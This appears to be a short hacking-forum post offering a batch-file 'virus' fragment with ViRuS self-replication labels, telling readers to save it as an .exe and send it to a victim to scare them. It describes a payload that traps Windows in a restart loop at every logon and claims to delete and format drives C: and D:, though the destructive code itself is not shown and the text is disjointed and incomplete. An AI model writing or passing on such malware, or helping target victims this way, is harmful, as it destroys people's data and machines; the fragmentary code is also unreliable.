@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

Just paste this in the notepad and then save this as .exe and send it to your victim......according to its funtions..... and scare the crap out of him..

Basically in virus there is some repeatating action......
may b for loop or any other loop(both for procedural and oops)
here is an example----->

actully in the following program,it seems to download somethng(here AUTOCAD),when u hit yes,the problem

next time the idiot starts windows it will stay in a loop, so when the user make a logon on windows, the virus will run and will make the pc restart and being in loop..

This will del c: d:& format...

caution :don't try it in ur own pc